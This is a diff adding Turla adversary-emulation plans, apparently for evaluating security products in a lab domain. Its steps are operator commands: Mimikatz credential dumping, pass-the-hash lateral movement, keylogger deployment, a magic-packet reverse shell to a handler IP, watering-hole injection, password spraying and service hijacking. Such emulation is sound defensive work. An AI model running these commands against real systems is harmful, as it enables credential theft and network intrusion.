components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Comms Lib DLL Injection](../../Resources/Carbon/Orchestrator/src/injection.cpp#L454) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + * [Peer to peer communications over named pipes](../../Resources/Carbon/CommLib/src/NamedPipeP2p.cpp) + +### :microscope: Cited Intelligence + +* +* +* +* +* + +
+ +## Step 6 - Preparation for Lateral Movement onto Second Host + +:microphone: `Voice Track:` + +Step 6 emulates Turla downloading and executing Mimikatz as `terabox.exe` +after gaining persistance on the machine. Execution of Mimikatz will reveal a +cached NTLM hash for the admin user `Adalwolfa`. This username/hash combination +will be used in the next step for lateral movement. + +--- + +### :biohazard: Procedures + +* From your Kali C2 terminal, task the CARBON-DLL implant on the DC to download and execute mimikatz lsadump (note that the file gets downloaded to `C:\Windows\\Temp\` and then gets moved to `C:\Windows\System32` after download since the CARBON-DLL communications library module cannot download directly to privileged locations): + +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 3, "payload": "mimikatz.exe", "payload_dest": "C:\\Windows\\Temp\\terabox.exe", "cmd": "move C:\\Windows\\Temp\\terabox.exe C:\\Windows\\System32\\terabox.exe && C:\\Windows\\System32\\terabox.exe \"lsdu::go /ynot\" \"quit\""}' +``` + +* :exclamation: Verify that the NTLM hash for `adalwolfa` is included in the output. + +```bash +grep 'NTLM : 07d128430a6338f8d537f6b3ae1dc136' logs.txt -C 5 -i +``` + +* This should return: + * > ``` + > RID : 00000456 (1110) + > User : Adalwolfa + > + > * Primary + > NTLM : 07d128430a6338f8d537f6b3ae1dc136 + > LM : + > Hash NTLM: 07d128430a6338f8d537f6b3ae1dc136 + > ntlm- 0: 07d128430a6338f8d537f6b3ae1dc136 + > lm - 0: 95b8536c32208871930216e62d5e12d4 + > ``` + +### :moyai: Source Code + +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + * [Peer to peer communications over named pipes](../../Resources/Carbon/CommLib/src/NamedPipeP2p.cpp) +* [Mimikatz](../../Resources/Mimikatz) + +### :microscope: Cited Intelligence + +* [Report 4: SwissCERT - RUAG Report](https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html) +* [Report 9: Symantec - Waterbug New Toolset](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments) +* +* +* + +
+ +## Step 7 - Lateral Movement to Second Workstation + +:microphone: `Voice Track:` + +Step 7 emulates Turla preparing for and performing lateral movement to a second +workstation in the domain, the Windows workstation belonging to Adalwolfa. + +Adalwolfa logs into their workstation `khabibulin (10.20.20.104)` and opens up +Edge to prepare for their legitimate user activity. + +In the meantime, the CARBON-DLL implant on the domain controller downloads +PsExec and a third copy of the CARBON-DLL installer, downloading both initially +to `C:\Windows\Temp` before moving both executables to `C:\Windows\System32\`. + +Next, using the Mimikatz binary previously downloaded to the domain controller +and Adalwolfa's discovered NTLM hash, CARBON-DLL performs pass-the-hash to copy +the installer to Adalwolfa's workstation and PsExec to remotely execute the +installer to install CARBON-DLL on Adalwolfa's workstation. + +--- + +### :biohazard: Procedures + +:arrow_right: Return to your RDP session to `bannik (10.20.10.9)` as `Frieda`. +Minimize (do not close) the `bannik (10.20.10.9)` RDP window. + +* Start a new RDP session to `khabibulin (10.20.20.104)` as `adalwolfa`: + +| Username | Password | +| :--------: | :---------------: | +| skt\adalwolfa | Password2! | + +* Close any spurious windows + +* Open up Edge, but don't browse to any website just yet. The browser process is needed for Carbon comms lib DLL injection to occur. + +:arrow_right: Wait 1 minute and return to your Kali control server terminal + +* Task the CARBON-DLL implant on the domain controller to download PsExec. + +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 4, "payload": "PsExec.exe", "payload_dest": "C:\\Windows\\Temp\\tmp5712.tmp", "cmd": "move C:\\Windows\\Temp\\tmp5712.tmp C:\\Windows\\System32\\wsqsp.exe && dir C:\\Windows\\System32\\wsqsp.exe"}' +``` + +* Wait 1 minute and then task the CARBON-DLL implant on the domain controller +to download a third copy of the CARBON-DLL installer. + +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 5, "payload": "carbon_installer_3.exe", "payload_dest": "C:\\Windows\\Temp\\tmp1283.tmp", "cmd": "move C:\\Windows\\Temp\\tmp1283.tmp C:\\Windows\\System32\\wsqmanager.exe && dir C:\\Windows\\System32\\wsqmanager.exe"}' +``` + +* Wait 1 minute and then task the CARBON-DLL implant on the domain controller +to use the previously downloaded Mimikatz to pass-the-hash and (1) copy the +installer to Adalwolfa's workstation and (2) execute it using PsExec. + +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 6, "cmd": "C:\\Windows\\System32\\terabox.exe \"pr::d\" \"slsa::htp /user:adalwolfa /domain:skt /ntlm:07d128430a6338f8d537f6b3ae1dc136 /remotepc:khabibulin /pexe:C:\\Windows\\System32\\wsqsp.exe /sys:1 /prun:C:\\Windows\\System32\\wsqmanager.exe\" \"quit\""}' +``` + +:heavy_exclamation_mark: Verify that a new Carbon implant has been registered with the control server. + +* Wait 1 minute and then task the CARBON-DLL implant on the domain controller to clean up dropped files. +```bash +./evalsC2client.py --set-task a3e63922 '{"id": 7, "cmd": "del /Q C:\\Windows\\System32\\terabox.exe C:\\Windows\\System32\\wsqsp.exe C:\\Windows\\System32\\wsqmanager.exe"}' +``` + +### :moyai: Source Code + +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Comms Lib DLL Injection](../../Resources/Carbon/Orchestrator/src/injection.cpp#L454) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + * [Peer to peer communications over named pipes](../../Resources/Carbon/CommLib/src/NamedPipeP2p.cpp) +* [Mimikatz](../../Resources/Mimikatz) + +### :microscope: Cited Intelligence + +* +* +* +* + +
+ +## Step 8 - Credential Access on Admin Host + +:microphone: `Voice Track:` + +Step 8 emulates Turla dropping a custom keylogger binary (`wingtsvcupdt.exe`) on +`Adalwolfa`'s workstation and harvesting credentials from the system. + +Once the tools have been dropped by the CARBON-DLL, the keylogger is executed +and begins logging keystrokes to `%temp%\~DFA512.tmp` The keylogger is used +to collect SSH credentials that `Adalwolfa` was using on their system while the +keylogger was running. + +Meanwhile, Adalwolfa is using their Edge browser session to visit the website +hosted by the Apache server to check one of the pages. The user then opens +PowerShell and connects to the Apache server via SSH, where their plaintext +credentials are captured by the keylogger. `Adalwolfa` then navigates to the +directory containing the webpage file on the Apache server and opens the file +to make a small change. + +--- + +### :biohazard: Procedures + +* From your Kali C2 server terminal window, task the CARBON-DLL on Adalwolfa's workstation to download and execute the +keylogger binary in the background: +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 0, "payload": "keylogger.exe", "payload_dest": "C:\\Windows\\Temp\\wingtsvcupdt.exe", "cmd": "C:\\Windows\\Temp\\wingtsvcupdt.exe -r"}' +``` + +:arrow_right: Wait 1 minute and then return to your RDP session to `khabibulin (10.20.20.104)` as `adalwolfa`. + +* From the workstation, as the `Adalwolfa` user account: + * Open Edge. + * :heavy_exclamation_mark: **Type in full, do not copy or autocomplete,** into the address bar and press enter. + +* Open a PowerShell terminal and **type do not copy** the SSH command: + +ssh adalwolfa@10.20.10.23 + +* **Type do not copy** the SSH password `Password2!` when prompted. + +* Within the SSH session, **type do not copy** the follow commands as +`Adalwolfa`: +1. `sudo nano /var/www/html/index.html` +1. Go to line 198 with `CTRL + SHIFT + -` then type 198 +1. Replace `Apache2 Ubuntu Default Page` with `Adalwolfa's Page` +1. save the file with `CTRL + X`, `Y`, `enter` +1. Type `exit` to exit from the SSH session + +:arrow_right: Return to the Kali C2 server and task the CARBON-DLL implant +on Adalwolfa's workstation to kill the keylogger process. +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 1, "cmd": "taskkill /IM wingtsvcupdt.exe /F"}' +``` + +* Wait 1 minute and then task the CARBON-DLL implant to exfiltrate the data written +to the keylogger file: +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 2, "cmd": "type %temp%\\~DFA512.tmp"}' +``` + +:heavy_exclamation_mark: Verify that the keystrokes were logged containing the website information and Adalwolfa's SSH credentials. + +* Wait 1 minute and then task the CARBON-DLL implant to remove the keylogger and keylogger output file: +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 3, "cmd": "del /Q C:\\Windows\\Temp\\wingtsvcupdt.exe %temp%\\~DFA512.tmp"}' +``` + +### :moyai: Source Code + +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) +* [Keylogger](../../Resources/Keylogger/README.md) + * [Current hostname discovery](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L41) + * [Token manipulation and session discovery to restart in active session](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L579) + * [Keylogging hook routine](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L349) + * [Set keylogging hook](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L719) + * [Active window discovery](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L419) + +### :microscope: Cited Intelligence + +* +* +* +* + +
+ +## Step 9 - Lateral Movement to Linux Server + +:microphone: `Voice Track:` + +Step 9 emulates Turla laterally moving to the Linux Apache server and +installing Penquin. + +First, the third CARBON-DLL implant downloads Penquin and `pscp.exe` to +Adalwolfa's workstation, where `pscp.exe` is used with the credentials keylogged +in the previous step to copy Penquin over to the Apache server. Next, +CARBON-DLL downloads changes to the cron service to Adalwolfa's workstation and uses +pscp.exe to also copy the changes to the Apache server. + +Lastly, CARBON-DLL downloads `plink.exe` and, using the credentials keylogged in +the previous step, executes Penquin on the Apache server. + +Penquin performs the following actions: +* Unpacking a binary (the compiled sniffer) named `cron` and adding executable permissions +* Copying `cron` into `/usr/bin/` as `cron` +* Stopping the cron service +* Creating a cron service file in the `/etc/systemd/system/` folder for `systemd` to execute our cron. Note: The system executes our fake cron before the systems real cron because files located in `/etc/systemd/system/` are executed before files in the `/usr/sbin/cron` +* Reloading and starting the cron service +* Our cron service installs the sniffer and executes real cron as a child process + +In summary, Penquin installs a BPF filter and listens on the Apache server's network interface for a specific activation packet. + +--- + +### :biohazard: Procedures + +* From your Kali C2 server terminal, task the CARBON-DLL implant on Adawolfa's workstation +to download Penquin (named `tmp504e.tmp`). + +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 4, "payload": "hsperfdata.zip", "payload_dest": "C:\\Windows\\Temp\\tmp504e.tmp", "cmd": "dir C:\\Windows\\Temp\\tmp504e.tmp"}' +``` + +* Wait 1 minute and then task the implant to download `pscp.exe` + +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 5, "payload": "pscp.exe", "payload_dest": "C:\\Windows\\Temp\\pscp.exe", "cmd": "move C:\\Windows\\Temp\\pscp.exe C:\\Windows\\System32\\pscp.exe && dir C:\\Windows\\System32\\pscp.exe"}' +``` + +* Wait 1 minute and then task the implant to copy Penquin to the Apache web server using Adalwolfa's credentials. + +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 6, "cmd": "echo y | C:\\Windows\\System32\\pscp.exe -pw Password2! C:\\Windows\\Temp\\tmp504e.tmp adalwolfa@10.20.10.23:/tmp/tmp514f524f"}' +``` + +* Wait 1 minute and then task the implant to download `plink.exe` + +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 7, "payload": "plink.exe", "payload_dest": "C:\\Windows\\Temp\\plink.exe", "cmd": "move C:\\Windows\\Temp\\plink.exe C:\\Windows\\System32\\plink.exe && dir C:\\Windows\\System32\\plink.exe"}' +``` + +* Wait 1 minute and then task the implant to execute Penquin (Penquin takes ~8 seconds to execute). +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 8, "cmd": "(echo unzip /tmp/tmp514f524f -d /tmp & echo sudo mv /tmp/hsperfdata /root/hsperfdata & echo sudo /root/hsperfdata & echo exit) | C:\\Windows\\System32\\plink.exe -ssh -l adalwolfa -pw Password2! 10.20.10.23"}' +``` + +* Ensure no commands returned errors in the plink output: + * > ``` + > unzip /tmp/tmp514f524f -d /tmp + > + > sudo mv /tmp/hsperfdata /root/hsperfdata + > + > sudo /root/hsperfdata + > + > exit + > + > adalwolfa@skt.local@kagarov:~$ unzip /tmp/tmp514f524f -d /tmp + > Archive: /tmp/tmp514f524f + > inflating: /tmp/hsperfdata + > adalwolfa@skt.local@kagarov:~$ + > adalwolfa@skt.local@kagarov:~$ sudo mv /tmp/hsperfdata /root/hsperfdata + > adalwolfa@skt.local@kagarov:~$ + > adalwolfa@skt.local@kagarov:~$ sudo /root/hsperfdata + > adalwolfa@skt.local@kagarov:~$ + > adalwolfa@skt.local@kagarov:~$ exit + > logout + > ``` + +* Wait 1 minute and then task the implant to clean up downloaded files +```bash +./evalsC2client.py --set-task c6f2aa03 '{"id": 9, "cmd": "del /Q C:\\Windows\\Temp\\tmp504e.tmp C:\\Windows\\System32\\pscp.exe C:\\Windows\\System32\\plink.exe"}' +``` + + +### :moyai: Source Code + +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) +* [Penquin](../../Resources/Penquin/) ([Network Sniffer](../../Resources/Penquin/sniff.c), [Penquin Installer](../../Resources/Penquin/main.c), & [Obfuscation Algorithm](../../Resources/Penquin/crypt.h#L60)) + * [Writes the sniffer (Penquin) to disk](../../Resources/Penquin/main.c#L220) + * [Moves Penquin to /usr/bin](../../Resources/Penquin/main.c#L121) + * [Creates a service file](../../Resources/Penquin/main.c#L173) + * [Stops cron service](../../Resources/Penquin/main.c#L143) + * [Executes Penquin as cron](../../Resources/Penquin/main.c#L198) + * [Real cron starts as child process](../../Resources/Penquin/sniff.c#L198) + * [Installs packet sniffer on eth0](../../Resources/Penquin/sniff.c#L482) + * [Magic packet filter criteria](../../Resources/Penquin/sniff.c#L437-L442) + * [Execute reverse shell](../../Resources/Penquin/sniff.c#L405) + +### :microscope: Cited Intelligence + +* +* +* +* +* + +
+ +## Step 10 - Installation of Watering Hole + +:microphone: `Voice Track:` + +Step 10 emulates Turla sending a magic packet to the Apache server, on which +the sniffer component of Penquin reads the magic packet, parses the packet +for the IP address to connect to, and triggers the establishment of a reverse +shell. + +First, a few discovery commands are sent through the established reverse shell. +Aditional HTML is then appended to the webpage previously edited by Adalwolfa, +containing script tags that load another simple JavaScript file hosted by the +adversary's malicious site, anto-int[.]com, that redirects users who browse to `http://kagarov/index.html` to +the adversary's malicious site instead, thus completing the installation of the +watering hole. + +--- + +### :biohazard: Procedures + +* :arrow_right: From your Kali C2 server terminal, open a new terminal tab using Ctrl+Shift+T. Recommended: rename the new tab to `Penquin NC` + +* In the new tab, set up a Netcat listener for Penquin's reverse shell to connect to: + +```bash +nc -lvvp 8081 +``` + +* Right click and split the window horizontally. Run the following commands to send the magic packet to the Apache server using +the `sendPacket.py` utility. + +```bash +cd /opt/day1/turla +sudo -E python3 Resources/Penquin/sendPacket.py --handler_ip 176.59.15.33 --handler_port 8081 --target_ip 10.20.10.23 --target_port 8080 --payload_type base64 +``` + +* Wait a few seconds and then check the Netcat tab (`Penquin NC`). The Netcat prompt should report a successful connection. + +* In the terminal where the reverse shell has connected to the Netcat listener, paste the following command to add the + watering hole redirection to index.html: + +```bash +echo "" >> /var/www/html/index.html +``` + +* Note - this command does not return output. Wait 1 minute and then send the following command to close the reverse shell + +```bash +exit +``` + +### :moyai: Source Code + +* [Penquin](../../Resources/Penquin) + * [sendPacket.py](../../Resources/Penquin/sendPacket.py) + +### :microscope: Cited Intelligence + +* +* +* diff --git a/turla/Emulation_Plan/Carbon_Scenario/Carbon_Protections_Scenario.md b/turla/Emulation_Plan/Carbon_Scenario/Carbon_Protections_Scenario.md new file mode 100644 index 00000000..bb32ed04 --- /dev/null +++ b/turla/Emulation_Plan/Carbon_Scenario/Carbon_Protections_Scenario.md @@ -0,0 +1,734 @@ +# Carbon Protections Scenario + +Legend of symbols: +* :bulb: - callout notes +* :heavy_exclamation_mark: - extremely important note +* :arrow_right: - Switching to another session +* :o: - Sign out of something + +--- + +## Protections Setup + +:arrow_right: RDP, do not SSH, to the Kali attacker machine `(176.59.15.33)`. + +* Open a new terminal window, cd to the cloned repo control server, and start the control server: + +```bash +cd /opt/day1/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day1.yml +``` + +* Within your Kali control server terminal window, right click and select +"Split Terminal Horizontally". Be careful not to terminate the control server. + +* In the new terminal window, change directory to the control server repo: + +```bash +cd /opt/day1/turla/Resources/control_server +``` + +* Ensure that the Carbon and EPIC handlers started up. + +
+ +## Test 1: Initial Access via Spearphishing Link + +:microphone: `Voice Track:` + +Test 1 emulates Turla gaining initial access via a spearphishing link sent in +an email to the user `Gunter`. + +The link initiates the download of a fake software update executable named +NTFVersion.exe. + +--- + +### :biohazard: Procedures + +:arrow_right: RDP to `hobgoblin (10.20.20.102)` as `Gunter`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open Microsoft Edge, declining all first-run options, and browse to `https://brieftragerin.skt.local/owa`. Login: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open the email from +`noreply@sktlocal.it` and click the link in the email to initiate the download of +`NTFVersion.exe`. â— DO NOT EXECUTE THE FILE. + +* Open File Explorer and browse to Downloads + +### :moyai: Source Code + +* [EPIC Dropper](../../Resources/EPIC/SimpleDropper) + * [File write of EPIC injector as mxs_installer.exe](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L34-L50) + * [Registry modification](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L95-L143) + +### :microscope: Cited Intelligence + +* +* +* + +
+ +## Test 2: EPIC and Carbon on Workstation + +:microphone: `Voice Track:` + +Test 2 emulates user execution of the EPIC dropper, execution of the EPIC +injector via the Winlogon `shell` registry key value, and execution of the +Carbon installer. + +--- + +### :biohazard: Procedures + +:arrow_right: Open up a new terminal tab in your Kali machine using +Ctrl+Shift+T, name this tab "smbclient" and copy the EPIC injector to the +Windows host `hobgoblin`: + +```bash +cd /opt/day1/turla/Resources/EPIC/SimpleDropper/SimpleDropper/bin/ +smbclient -U 'skt.local\Frieda'%'Password3!' //10.20.20.102/C$ -c 'put SimpleDropper_http.exe Users\Gunter\Downloads\NTFVersion.exe' +``` + +:arrow_right: Return to your RDP to `hobgoblin`. Open File Explorer and browse +to Gunter's Downloads folder. + +* Double click and run NTFVersion.exe + +:o: Wait 1 minute then close out of all tabs and sign out of the RDP session to `hobgoblin` as `Gunter`. + +:arrow_right: Re-RDP to `hobgoblin (10.20.20.102)` as `Gunter`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Gunter | Password1! | + +* Open Microsoft Edge and browse to `https://brieftragerin.skt.local/owa`. + +:arrow_right: **Set a timer for 2 minutes** then switch to your Kali control server terminal and +confirm that a new implant has registered and the automated discovery output has been returned in +the server log. + +**NOTE:** The injector will wait **2 minutes**, before injecting EPIC's Guard DLL into explorer.exe and, +subsequently, EPIC's worker DLL into Microsoft Edge. + +* Within your Kali control server terminal window, right click and select "Split Terminal Horizontally". Be careful not to terminate the control server. + +* In your lower terminal tab, copy and paste the first set of discovery commands: +```bash +cd /opt/day1/turla/Resources/control_server +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | net group "Domain Admins" /domain && net group "Domain Computers" /domain && net group "Domain Controllers" /domain && tasklist /svc' +``` + +* :heavy_exclamation_mark: Verify that the `ViperVPNSvc` service shows up in the tasklist output towards the end. + +```bash +grep 'ViperVPNSvc' logs.txt -i +``` + +* This should return: + * >``` + >viperVpn.exe ViperVPNSvc + >``` + +* Wait for the command to return before tasking the next command to query the service and who can access it: +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | reg query HKLM\SYSTEM\CurrentControlSet\Services\ViperVPNSvc && powershell "$(Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\ViperVPNSvc).Access"' +``` + +* Wait for the command to return before tasking EPIC to modify the misconfigured ViperVPNSvc service to use our implant to execute: + +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | reg add "HKLM\system\currentcontrolset\services\ViperVPNSvc" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c %TEMP%\mxs_installer.exe" /f' +``` + +* Wait for the command to return. + +:arrow_right: Minimize (do not close) the `hobgoblin` RDP window. + +:arrow_right: RDP into `bannik (10.20.10.9)`, as `Frieda`: + +| Username | Password | +| :--------: | :---------------: | +| skt\Frieda | Password3! | + +* Close any spurious windows. + +* Open up an administrative Powershell session and run the following commands to remotely restart the service: + +```powershell +sc.exe \\hobgoblin stop ViperVPNSvc +sc.exe \\hobgoblin start ViperVPNSvc +``` +â„¹ï¸ Starting the ViperVPN service should take at least 30 seconds and eventually +result in an error `[SC] StartService FAILED 1053`. The EPIC injector will wait +an additional 2 minutes before performing injection. If the `[SC] StartService +FAILED 1053` error occurs in less than 10 seconds and/or you don't receive a +new session, contact your Evals lead. + +* Wait for the command to return and then :o: sign out of your RDP session to `bannik` as `Frieda` + +:arrow_right: Switch to your Kali attack station and confirm that a new elevated implant has registered. + +:arrow_right: Switch back to your Kali terminal and task the SYSTEM level EPIC implant to download the CARBON-DLL installer: +```bash +./evalsC2client.py --set-task 51515228-8a7b-4226-e6e3f4 'name | C:\Windows\System32\WinResSvc.exe | dropper.exe' +``` + +* Wait for the command to return and then task the EPIC implant to execute the CARBON-DLL installer: +```bash +./evalsC2client.py --set-task 51515228-8a7b-4226-e6e3f4 'exe | C:\Windows\System32\WinResSvc.exe' +``` + +* CARBON-DLL should inject into the Microsoft Edge process and beacon back to the C2 server. Check that there is a new Carbon implant session registered with the C2 server + +* Wait for the command to return and then task the Carbon implant to execute some discovery commands: +```bash +./evalsC2client.py --set-task 9b5ef515 '{"id": 0, "cmd": "whoami"}' +``` + +--- + +### :moyai: Source Code + +* [EPIC Dropper](../../Resources/EPIC/SimpleDropper) + * [File write of EPIC injector as mxs_installer.exe](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L34-L50) + * [Registry modification](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L95-L143) +* [EPIC injector](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/) + * Extract EPIC Guard DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L162-L194) + * Targeting explorer.exe for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L200-L234) +* [EPIC Guard](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/) + * Extract EPIC payload DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L158-L190) + * Targeting browser processes for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L232-L280) +* [EPIC Payload](../../Resources/EPIC/payload/) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) + * User discovery [GetAllUsers](../../Resources/EPIC/payload/src/epic.cpp#L111-L182) + * Directory discovery [DirectoryDiscovery](../../Resources/EPIC/payload/src/epic.cpp#L257-L298) + * Write results to log file [WriteResults](../../Resources/EPIC/payload/src/epic.cpp#L311-L345) + * File download [DownloadFile](../../Resources/EPIC/payload/src/epic.cpp#L441-L466) + * C2 communications are: + * [bzip2 compressed](../../Resources/EPIC/payload/src/comms.cpp#L462-L469) + * [AES encrypted](../../Resources/EPIC/payload/src/comms.cpp#L483-L484) + * [RSA encrypted AES key](../../Resources/EPIC/payload/src/comms.cpp#L487-L497) + * [base64 encoded](../../Resources/EPIC/payload/src/comms.cpp#L505) +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Comms Lib DLL Injection](../../Resources/Carbon/Orchestrator/src/injection.cpp#L454) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + +### :microscope: Cited Intelligence + +* +* +* +* +* +* +* +* +* +* +* + +
+ +## Test 3: Password Spray + +:microphone: `Voice Track:` + +Test 3 emulates Turla laterally moving to the domain controller by conducting +password spraying via a batch script to retrieve a domain admin's credentials +to the domain controller. The batch script sprays several of the discovered +domain admin accounts with weak passwords, one of which successfully mounts the +`C:\` drive of the domain controller. + +--- + +### :biohazard: Procedures + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy the +password spray script to `hobgoblin`: +```bash +cd /opt/day1/turla/Resources/payloads/carbon/ +smbclient -U 'skt.local\frieda'%'Password3!' //10.20.20.102/C$ -c 'put password_spray.bat Users\Public\winsas64.bat' +``` + +:arrow_right: Return to your RDP session to `hobgoblin` as `Gunter`. + +:arrow_right: Open a **Windows Command Prompt** and execute the password spray script. + +```bat +"C:\Users\Public\winsas64.bat" +``` + +:heavy_exclamation_mark: Verify that the script successfully sprays `Frieda`'s +password by checking that output matches the following: +```text +The command completed successfully. + +frieda:Password3! SUCCESS +``` + +### :moyai: Source Code + +* [Password spray batch script](../../Resources/payloads/carbon/password_spray.bat) + +### :microscope: Cited Intelligence + +* + +
+ +## Test 4: Carbon on Domain Controller + +:microphone: `Voice Track:` + +Test 4 emulates execution of CARBON-DLL on the domain controller via scheduled +task. + +--- + +### :biohazard: Procedures + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy the +Carbon installer executable to Windows host, `hobgoblin`. +```bash +cd /opt/day1/turla/Resources/payloads/carbon/ +smbclient -U 'skt.local\frieda'%'Password3!' //10.20.20.102/C$ -c 'put carbon_installer_2.exe Windows\System32\wmimetricsq.exe' +``` + +:arrow_right: Return to your RDP session to `hobgoblin (10.20.20.102)` +as `Gunter`. + +* Open File Explorer and browse to `C:\Windows\System32`. Order the files by date. + +* Open an Admin Command Prompt. Use the following credentials if prompted: + +| Username | Password | +| :--------: | :---------------: | +| skt\frieda | Password3! | + +:arrow_right: Minimize the RDP session to `hobgoblin` and start a new RDP +session to `bannik (10.20.10.9)` as `Frieda`: + +| Username | Password | +| 